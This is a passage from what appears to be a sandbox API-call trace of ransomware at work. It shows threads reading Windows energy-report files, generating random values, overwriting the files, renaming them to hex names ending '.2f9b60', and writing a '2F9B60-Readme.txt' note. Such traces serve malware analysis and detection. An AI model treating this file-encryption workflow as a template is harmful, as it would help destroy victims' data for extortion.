_Dest="f6") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975b2, _Format="%c%c" | out: _Dest="5f") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975b4, _Format="%c%c" | out: _Dest="20") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975b6, _Format="%c%c" | out: _Dest="89") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975b8, _Format="%c%c" | out: _Dest="11") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975ba, _Format="%c%c" | out: _Dest="4c") returned 2 [0136.611] RtlInitAnsiString (in: DestinationString=0x255ffbe8, SourceString="080c385ae036865b22c1b3b8db53f27f3441dc3679adebadf65f2089114c" | out: DestinationString="080c385ae036865b22c1b3b8db53f27f3441dc3679adebadf65f2089114c") [0136.611] RtlAnsiStringToUnicodeString (in: DestinationString=0x255ffbb8, SourceString="080c385ae036865b22c1b3b8db53f27f3441dc3679adebadf65f2089114c", AllocateDestinationString=1 | out: DestinationString="080c385ae036865b22c1b3b8db53f27f3441dc3679adebadf65f2089114c") returned 0x0 [0136.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a4140 [0136.612] RtlFreeAnsiString (AnsiString="0") [0136.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0136.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0136.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133ce0) returned 1 [0136.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ecf0) returned 1 [0136.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f1f0) returned 1 [0136.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8e50) returned 1 [0136.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260680) returned 1 [0136.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0136.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261820) returned 1 [0136.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279130 [0136.613] wcscat (in: _Dest=0x20279130, _Source="080c385ae036865" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\080c385ae036865") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\080c385ae036865" [0136.614] wcscat (in: _Dest=0x20279130, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\080c385ae036865.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\080c385ae036865.2f9b60" [0136.614] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\080c385ae036865.2f9b60", NtPathName=0x255ffb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\080c385ae036865.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1194b0 [0136.614] NtSetInformationFile (FileHandle=0x1d40, IoStatusBlock=0x255ffc30, FileInformation=0x1194b0, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0136.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1194b0) returned 1 [0136.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293300) returned 1 [0136.634] NtQueryInformationFile (in: FileHandle=0x1d40, IoStatusBlock=0x255ffbf8, FileInformation=0x255ffc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x255ffbf8, FileInformation=0x255ffc08) returned 0x0 [0136.634] NtSetInformationFile (FileHandle=0x1d40, IoStatusBlock=0x255ffbf8, FileInformation=0x255ffc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0136.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0136.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4140) returned 1 [0136.636] FlushFileBuffers (hFile=0x1d40) returned 1 [0138.480] CloseHandle (hObject=0x1d40) returned 1 [0138.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050c9d0 [0138.504] wcscpy (in: _Dest=0x2050c9d0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0138.504] wcscat (in: _Dest=0x2050c9d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" [0138.504] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\2f9b60-readme.txt")) returned 0xffffffff [0138.504] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dfc [0138.516] WriteFile (in: hFile=0x1dfc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x255ffab0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x255ffab0*=0xba9, lpOverlapped=0x0) returned 1 [0138.517] CloseHandle (hObject=0x1dfc) returned 1 [0138.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c9d0) returned 1 [0138.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd642c0) returned 1 Thread: id = 1976 os_tid = 0x11b8 [0136.083] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml")) returned 0x20 [0136.085] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml", dwFileAttributes=0x20) returned 1 [0136.086] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d44 [0136.086] GetFileSizeEx (in: hFile=0x1d44, lpFileSize=0x300cf880 | out: lpFileSize=0x300cf880*=28962) returned 1 [0136.086] SetFilePointerEx (in: hFile=0x1d44, liDistanceToMove=0x711e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.086] ReadFile (in: hFile=0x1d44, lpBuffer=0x300cf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x300cf848, lpOverlapped=0x0 | out: lpBuffer=0x300cf800*, lpNumberOfBytesRead=0x300cf848*=0x4, lpOverlapped=0x0) returned 1 [0136.197] SetFilePointerEx (in: hFile=0x1d44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0136.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0136.198] NtQuerySystemTime (in: CurrentTime=0x300cf740 | out: CurrentTime=0x300cf740*=132462177414370000) returned 0x0 [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x39afac55 [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x643775a6 [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x67adca4f [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x37059c98 [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x3f38955c [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x44699819 [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x4e68e0e4 [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x3ef514eb [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x4b7995cd [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x1c8b091e [0136.198] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x5ee7ce8c [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x42472524 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x3cbca552 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x171c4fb4 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x5f6bc85b [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x45f3b111 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x6471a823 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x2779ce9f [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x451a848 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x37f410fe [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x14a7c1c0 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x7b39244e [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x132ae2de [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x1ff78e3c [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x272785e9 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x59fb84e7 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0xbe46a36 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x57633068 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x78c40c4a [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x3b7ded66 [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x4dc7acbd [0136.199] RtlRandomEx (in: Seed=0x300cf730 | out: Seed=0x300cf730) returned 0x523c912d [0136.212] SetFilePointerEx (in: hFile=0x1d44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.212] ReadFile (in: hFile=0x1d44, lpBuffer=0x20364520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x300cf7a0, lpOverlapped=0x0 | out: lpBuffer=0x20364520*, lpNumberOfBytesRead=0x300cf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.314] SetFilePointerEx (in: hFile=0x1d44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0136.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a260 [0136.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a260) returned 1 [0136.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb9560 [0136.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a260 [0136.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0136.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0136.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.316] WriteFile (in: hFile=0x1d44, lpBuffer=0x41cb9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x300cf7a0, lpOverlapped=0x0 | out: lpBuffer=0x41cb9560*, lpNumberOfBytesWritten=0x300cf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb9560) returned 1 [0136.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20364520) returned 1 [0136.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd97c10 [0136.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0136.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0136.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0136.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd97cb0 [0136.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0136.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0136.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0136.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12a) returned 0x1885d0 [0136.427] SetFilePointerEx (in: hFile=0x1d44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.427] WriteFile (in: hFile=0x1d44, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x300cf850, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x300cf850*=0x12a, lpOverlapped=0x0) returned 1 [0136.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0136.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0136.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0136.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f9b0 [0136.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0136.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0136.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0136.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x71) returned 0x42060930 [0136.576] sprintf (in: _Dest=0x42060930, _Format="%c%c" | out: _Dest="29") returned 2 [0136.576] sprintf (in: _Dest=0x42060932, _Format="%c%c" | out: _Dest="84") returned 2 [0136.576] sprintf (in: _Dest=0x42060934, _Format="%c%c" | out: _Dest="1d") returned 2 [0136.576] sprintf (in: _Dest=0x42060936, _Format="%c%c" | out: _Dest="f7") returned 2 [0136.576] sprintf (in: _Dest=0x42060938, _Format="%c%c" | out: _Dest="3d") returned 2 [0136.576] sprintf (in: _Dest=0x4206093a, _Format="%c%c" | out: _Dest="43") returned 2 [0136.576] sprintf (in: _Dest=0x4206093c, _Format="%c%c" | out: _Dest="0f") returned 2 [0136.576] sprintf (in: _Dest=0x4206093e, _Format="%c%c" | out: _Dest="b8") returned 2 [0136.577] sprintf (in: _Dest=0x42060940, _Format="%c%c" | out: _Dest="cb") returned 2 [0136.577] sprintf (in: _Dest=0x42060942, _Format="%c%c" | out: _Dest="9f") returned 2 [0136.577] sprintf (in: _Dest=0x42060944, _Format="%c%c" | out: _Dest="2f") returned 2 [0136.577] sprintf (in: _Dest=0x42060946, _Format="%c%c" | out: _Dest="1c") returned 2 [0136.577] sprintf (in: _Dest=0x42060948, _Format="%c%c" | out: _Dest="cd") returned 2 [0136.577] sprintf (in: _Dest=0x4206094a, _Format="%c%c" | out: _Dest="54") returned 2 [0136.577] sprintf (in: _Dest=0x4206094c, _Format="%c%c" | out: _Dest="9e") returned 2 [0136.577] sprintf (in: _Dest=0x4206094e, _Format="%c%c" | out: _Dest="aa") returned 2 [0136.577] sprintf (in: _Dest=0x42060950, _Format="%c%c" | out: _Dest="c6") returned 2 [0136.577] sprintf (in: _Dest=0x42060952, _Format="%c%c" | out: _Dest="57") returned 2 [0136.577] sprintf (in: _Dest=0x42060954, _Format="%c%c" | out: _Dest="86") returned 2 [0136.577] sprintf (in: _Dest=0x42060956, _Format="%c%c" | out: _Dest="1d") returned 2 [0136.577] sprintf (in: _Dest=0x42060958, _Format="%c%c" | out: _Dest="2b") returned 2 [0136.577] sprintf (in: _Dest=0x4206095a, _Format="%c%c" | out: _Dest="79") returned 2 [0136.577] sprintf (in: _Dest=0x4206095c, _Format="%c%c" | out: _Dest="13") returned 2 [0136.577] sprintf (in: _Dest=0x4206095e, _Format="%c%c" | out: _Dest="82") returned 2 [0136.577] sprintf (in: _Dest=0x42060960, _Format="%c%c" | out: _Dest="c6") returned 2 [0136.577] sprintf (in: _Dest=0x42060962, _Format="%c%c" | out: _Dest="7d") returned 2 [0136.577] sprintf (in: _Dest=0x42060964, _Format="%c%c" | out: _Dest="b3") returned 2 [0136.577] sprintf (in: _Dest=0x42060966, _Format="%c%c" | out: _Dest="71") returned 2 [0136.577] sprintf (in: _Dest=0x42060968, _Format="%c%c" | out: _Dest="58") returned 2 [0136.577] sprintf (in: _Dest=0x4206096a, _Format="%c%c" | out: _Dest="17") returned 2 [0136.577] sprintf (in: _Dest=0x4206096c, _Format="%c%c" | out: _Dest="57") returned 2 [0136.577] sprintf (in: _Dest=0x4206096e, _Format="%c%c" | out: _Dest="20") returned 2 [0136.577] sprintf (in: _Dest=0x42060970, _Format="%c%c" | out: _Dest="a5") returned 2 [0136.577] sprintf (in: _Dest=0x42060972, _Format="%c%c" | out: _Dest="34") returned 2 [0136.577] sprintf (in: _Dest=0x42060974, _Format="%c%c" | out: _Dest="24") returned 2 [0136.577] sprintf (in: _Dest=0x42060976, _Format="%c%c" | out: _Dest="5f") returned 2 [0136.577] sprintf (in: _Dest=0x42060978, _Format="%c%c" | out: _Dest="11") returned 2 [0136.577] sprintf (in: _Dest=0x4206097a, _Format="%c%c" | out: _Dest="95") returned 2 [0136.577] sprintf (in: _Dest=0x4206097c, _Format="%c%c" | out: _Dest="0a") returned 2 [0136.577] sprintf (in: _Dest=0x4206097e, _Format="%c%c" | out: _Dest="a3") returned 2 [0136.577] sprintf (in: _Dest=0x42060980, _Format="%c%c" | out: _Dest="f4") returned 2 [0136.577] sprintf (in: _Dest=0x42060982, _Format="%c%c" | out: _Dest="dc") returned 2 [0136.578] sprintf (in: _Dest=0x42060984, _Format="%c%c" | out: _Dest="e6") returned 2 [0136.578] sprintf (in: _Dest=0x42060986, _Format="%c%c" | out: _Dest="04") returned 2 [0136.578] sprintf (in: _Dest=0x42060988, _Format="%c%c" | out: _Dest="07") returned 2 [0136.578] sprintf (in: _Dest=0x4206098a, _Format="%c%c" | out: _Dest="d9") returned 2 [0136.578] sprintf (in: _Dest=0x4206098c, _Format="%c%c" | out: _Dest="63") returned 2 [0136.578] sprintf (in: _Dest=0x4206098e, _Format="%c%c" | out: _Dest="75") returned 2 [0136.578] sprintf (in: _Dest=0x42060990, _Format="%c%c" | out: _Dest="03") returned 2 [0136.578] sprintf (in: _Dest=0x42060992, _Format="%c%c" | out: _Dest="28") returned 2 [0136.578] sprintf (in: _Dest=0x42060994, _Format="%c%c" | out: _Dest="a2") returned 2 [0136.578] sprintf (in: _Dest=0x42060996, _Format="%c%c" | out: _Dest="bc") returned 2 [0136.578] sprintf (in: _Dest=0x42060998, _Format="%c%c" | out: _Dest="70") returned 2 [0136.578] sprintf (in: _Dest=0x4206099a, _Format="%c%c" | out: _Dest="9d") returned 2 [0136.578] sprintf (in: _Dest=0x4206099c, _Format="%c%c" | out: _Dest="f2") returned 2 [0136.578] sprintf (in: _Dest=0x4206099e, _Format="%c%c" | out: _Dest="ca") returned 2 [0136.578] RtlInitAnsiString (in: DestinationString=0x300cf8c8, SourceString="29841df73d430fb8cb9f2f1ccd549eaac657861d2b791382c67db37158175720a534245f11950aa3f4dce60407d963750328a2bc709df2ca" | out: DestinationString="29841df73d430fb8cb9f2f1ccd549eaac657861d2b791382c67db37158175720a534245f11950aa3f4dce60407d963750328a2bc709df2ca") [0136.578] RtlAnsiStringToUnicodeString (in: DestinationString=0x300cf898, SourceString="29841df73d430fb8cb9f2f1ccd549eaac657861d2b791382c67db37158175720a534245f11950aa3f4dce60407d963750328a2bc709df2ca", AllocateDestinationString=1 | out: DestinationString="29841df73d430fb8cb9f2f1ccd549eaac657861d2b791382c67db37158175720a534245f11950aa3f4dce60407d963750328a2bc709df2ca") returned 0x0 [0136.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b798170 [0136.578] RtlFreeAnsiString (AnsiString="2") [0136.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f9b0) returned 1 [0136.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0136.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1885d0) returned 1 [0136.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0136.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0136.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0136.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a260) returned 1 [0136.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0136.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0136.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0136.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1190a0 [0136.580] wcscat (in: _Dest=0x1190a0, _Source="29841df73d430fb8cb9f2f1ccd54" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\29841df73d430fb8cb9f2f1ccd54") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\29841df73d430fb8cb9f2f1ccd54" [0136.580] wcscat (in: _Dest=0x1190a0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\29841df73d430fb8cb9f2f1ccd54.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\29841df73d430fb8cb9f2f1ccd54.2f9b60" [0136.580] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\29841df73d430fb8cb9f2f1ccd54.2f9b60", NtPathName=0x300cf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\29841df73d430fb8cb9f2f1ccd54.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b798da0 [0136.580] NtSetInformationFile (FileHandle=0x1d44, IoStatusBlock=0x300cf910, FileInformation=0x1b798da0, Length=0xe2, FileInformationClass=0xa) returned 0x0 [0136.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798da0) returned 1 [0136.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290510) returned 1 [0136.645] NtQueryInformationFile (in: FileHandle=0x1d44, IoStatusBlock=0x300cf8d8, FileInformation=0x300cf8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x300cf8d8, FileInformation=0x300cf8e8) returned 0x0 [0136.645] NtSetInformationFile (FileHandle=0x1d44, IoStatusBlock=0x300cf8d8, FileInformation=0x300cf8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0136.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1190a0) returned 1 [0136.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798170) returned 1 [0136.646] FlushFileBuffers (hFile=0x1d44) returned 1 [0138.481] CloseHandle (hObject=0x1d44) returned 1 [0138.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050c190 [0138.508] wcscpy (in: _Dest=0x2050c190, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0138.508] wcscat (in: _Dest=0x2050c190, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" [0138.508] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\2f9b60-readme.txt")) returned 0x20 [0138.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c190) returned 1 [0138.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 Thread: id = 1977 os_tid = 0x11bc [0136.089] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml")) returned 0x20 [0136.089] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml", dwFileAttributes=0x20) returned 1 [0136.089] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency 